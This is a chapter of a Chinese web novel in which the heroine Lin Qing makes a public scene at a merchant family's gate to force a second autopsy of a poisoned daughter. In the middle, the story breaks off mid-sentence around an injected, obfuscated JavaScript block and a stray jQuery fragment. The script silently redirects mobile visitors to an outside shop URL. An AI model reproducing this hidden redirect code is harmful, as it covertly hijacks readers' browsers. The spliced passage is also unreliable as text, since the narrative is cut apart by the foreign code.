文趣网 > 都市小说 > 穿书,我掰直了大理寺卿 > 14. 第十四章
    国公府出行,除了车架、仆从有规格,礼数上也是全的,林清的车马还未到,就有脚快的仆妇已经去王家知会过。

    等到了王家大门口,林珍的公婆带着儿子媳妇已经在门口的台阶上候着。

    抛开年纪不谈,林清如今的身份,可是正正经经的国公府嫡女,只要林世玦能顺利长大袭爵,将来她就是国公爷嫡嫡亲亲的长姐。

    长姐如母,分量不可谓不重。

    这样尊贵的身份,亲自上门吊唁,王家一介普通商户怎么能不恭敬迎接?

    林清掀开车帘一看,这样好啊,本来她还想着,要是到里面去掰扯,该怎么把看热闹的人引进去?

    既然如今有了天然的戏台,那就开始吧。

    “亲家太太节哀,王姐姐就这么去了,便不用去填那火坑,也算是她的福气了。”

    一下马车,林清抽出帕子抹着泪,冲着王夫人就迎了上去。

    本身在孝期,她穿的就很素净,今日前来吊唁,穿的更是比以往素上三分,看起来柔柔弱弱,未语泪先流更是凄惶。

    来吊唁的女眷,抹上两滴眼泪,是惯常的做法,见她下车就哭,王夫人也是要她一起滴两滴眼泪拉近一下距离的。

    原先他们和林家大房虽然是姻亲,但说到底外室女的身份提不上台面,和正经的定国公府根本挨不上。

    现在,林大姑娘张口便是“亲家太太”,显然是认下这门姻亲了,可听后半句,王夫人又有些怀疑,这位林大姑娘是不是哭错坟了?

    填哪门子坑?

    “亲家太太难道不知道?听大姐姐说,王老爷欲将王姐姐嫁给一个肺痨鬼冲喜,王姐姐为此郁郁寡欢,身体每况日下,直至一病不起。难道不是吗?”

    王家众人面面相觑,这哪来的棒槌?怎么这样说话?难怪能与一个外室女称姐道妹叫的亲热。

    王夫人决定澄清一下:“不是冲喜……”

    “那便是真的要将她嫁给肺痨鬼?”林清又开始呜咽,一副难以置信物伤其类的悲痛。

    林清昨日一战成名,现在是自带流量,刚才那仆妇上门通报时,又扯着嗓子在王家门外高声喊道,“定国公府大姑娘前来吊唁!”

    所以,这会儿看热闹的人相当的多。

    人群中不知有谁嘀咕了一句:“林家大姑娘怕是还不知道,她那大姐姐可是杀人凶犯。”

    人都死了,还在这纠结是嫁人还是冲喜,先想想自家吧。

    “林大姑娘,你是不知道,王家姑娘可是你那大姐姐毒杀的!”立刻就有好事的人大声叫了出来。

    似乎被这话吓着了,林清的哭泣都凝滞了一瞬,随后,眼泪滚落得更急更快。

    “绝无可能!我大姐姐勤勤恳恳十几载,上伺候公婆下照顾小姑,如今眼看着要当家了,小姑也即将出嫁,她有什么理由杀人?”

    这话说的诚恳哀怨,也极有说服力。

    毒杀多为预谋杀人,必定是有杀人动机的。

    “就是,一个小姑而已,别说马上要嫁人了,就算不嫁人,又需养得了她几天?”有人觉得她说的很对,无端端的,没有理由嘛。

    “那你不知道,我听说王家姑娘一年三百六十五日,日日都是要吃汤药的。”也有人觉得不对,天天吃药,也是不少钱,花娘老子的钱和花兄嫂的钱可不一样。

    “那就更养不了几日了。”

    人群中不知谁起了个头,又开始窃窃私语议论起来。

    他们不关心谁杀了谁,但他们关心这背后的八卦,都说贫贱夫妻百事哀,有钱人家也不消停啊。

    “林大姑娘,你有所不知,自二嫂嫂成婚起,小姑就是她一人照料。许是眼见着快要当家,伺候的烦了,便不耐了。”

    说话的是王家三儿媳,林珍的妯娌,昨日也是她将林世纨杀人的消息带回家,添油加醋的与公婆丈夫一说,才有了后来的事。

    “这位嫂嫂既说是“许是”,那便是猜测,不知可有实证?”林清等的就是王家有人搭腔。

    “实……实证自然是有的……”王三媳妇有些支吾,她也是没想到,那个任人搓圆捏扁不吭声的妯娌,竟有这等硬实的靠山。

    余光瞟了瞟公婆与丈夫,见他们都不吭声,便知道这是把这扯皮的差事丢给她了。

    “仵作已来验过尸,小姑确实是被毒死的。”

    “毒物呢?下毒手法?是掺在汤药里,还是饭食里?还是日常用品?香囊、被褥还是衣服、鞋袜?是吃进去的?还是嗅进去的?还是扎破皮肤融进血液里的?”

    林清这会已经收了眼泪,一句一句问的犀利。

    王三媳妇这哪答得出来?

    “这……这自然是要问下毒的人!”

    “若我大姐姐是冤枉的呢?”

    “什么证据都没有,仅凭一点猜测,便滥用私刑,将我大姐姐打得皮开肉绽,骨头都断了。若不是发现的及时,怕是要不了多久就不明不白死在刑部大牢里!”

    说罢,林清收起刚才的凌厉,又是一阵掩面而泣。

    一身素衣娇柔的高门贵女,为了给自己的堂姐讨公道哭得几近晕厥,让人不禁心生怜悯。

    围观的人此刻更是一片哗然,打板子并不鲜见,但什么证据都没有,就把八抬大轿娶进门的正妻当下人仆妇一般往死里打,这在京城还是不多见的。

    “这不是要屈打成招吗?打量着把儿媳妇逼死了,还要从娘家讹一笔恤银。”

    “啧啧啧,听说王家早就想把儿媳妇给休了,不过他家的生意都指望着人家娘家的关系,不得不忍了这么多年。”

    “不会是这王家自己想甩包袱栽赃的吧?”

    越议论越离谱了。

    ……

    林清在心里赞一声:“好采苹!”

    今日带人出来时她就问过,谁愿意做这引导舆论的话头兵,采苹主动请缨,换了常服混在围观的人群里。

    虽然只是几句话带了个方向,但效果真是相当相当的好。

    林清来王家虽是打着给林珍讨公道的旗号,但从内心来说,她是中立的,她只信证据。

    她今天的目的只有一个——验尸。

    虽说在古代的恶性案件中,男性受害者占比比较大,但事实上,真正受到伤害更多的还是女性。

    男性案件中,多为斗殴、仇杀、争田、债务甚至是口角,这是因为社会分工不同,他们有太多出劳作社交的需求,暴露于暴力场景的可能更多。

    而女性受害者,因为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611374|205397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长期的父权制度、重男轻女思想,她们的受害常常直接被忽略或隐匿。

    就好比王婵悦和林珍,因为男女大防的缘由,甚至仵作都不能正常验尸,一个也许枉死,一个也许屈死。

    她如果不知道这件事,也许事后会唏嘘一番,但现在事情摆在面前,又有如此合适的介入的点,她做不到袖手旁观。

    眼看着围观的人越说越离谱,王家老爷终于无法镇定,阴沉着脸开口问道:“林大姑娘今日到底有何指教,不妨直说。”

    “自然是请刑部的仵作重新验尸!登记造册的那种。”别再搞那种蒙面猜猜猜了。

    “不行!”王老爷斩钉截铁的就拒绝了,“我女儿乃是清清白白的姑娘家,即便是过身了,尸身也容不得仵作上下其手坏其清誉!”

    林清松了一口气,累死了,今天这一番哭闹做戏等的就是这句话。

    “那便由我来验!”

    王老爷阴郁的眼神又更沉了几分,“林大姑娘倒是重情,一个公侯嫡女,为一个上不了台面的外室女做到这个份上,也是少有的了。”

    他这是暗戳戳说林清自轻自贱。

    林清又开始哭:“亲家老爷难道忘了,大姐姐可是正经在国公府里出生的,虽是庶出,却也是占了个‘长’字的。若不是如此,王家当年怎么三媒六聘、八抬大轿娶回来做正头娘子。”

    你骂,随你骂,若林珍是外室女,你王家愿意娶外室女,也不是好鸟。

    王老爷气得不想再说,他总不能承认,当年就是看中林继祖和身后那些个二世祖的关系,才捏着鼻子娶进来的儿媳妇吧。

    这些高门大户的采买都不是小数目,随便给点差事,就够他们吃几年的,要不是二小子入了林大老爷的眼,这好亲事还轮不到王家。

    “林大姑娘若是不怕,尽管来验!”

    王婵悦的尸身他没看过,但他也不信好好的人会无端端暴毙,眼看着养了这么多年,终于找到合适的人家,不日就要和李家过定,两家又多些羁绊,正要施展拳脚将生意再扩张一些,却不想……

    如若死在李家,身后也算有个依靠。

    即便不是二儿媳毒死的,也是她照顾不周,反正林家理亏,到时候,或休或留,林家都要补偿他家。

    再说,现在是在大门院,这么多双眼睛看着,他拿林清没办法,待到了灵堂,他不让这丫头见识见识人心险恶,他就不姓王。

    “来人,去刑部转告罗大人,王家同意验尸,请他带医婆来督验。”林清拿出早就准备好的国公府拜帖,让丹桂亲自带人去请罗明允。

    从刑部出来时,她去拜谢辞行时曾问过:“若我能让王家答应重新验尸,刑部可愿给予支持?”

    许是根本没想到她真能办成,罗明允当时答应的相当痛快:“自然,本官会亲自到场督验。”

    围观的人更热闹了,昨天大理寺的事他们可都听说了,只不过有不少人没亲眼见到,没想到,才隔一天,林大姑娘又要验尸了。

    丹桂带人走了以后,林清带着清荷又回了马车上,这说哭就哭的技能好使是好使,但是累人又缺水啊,她得缓缓,验尸也不是个轻省的活。

    王家的态度也如此强硬,那王婵悦,到底怎么死的?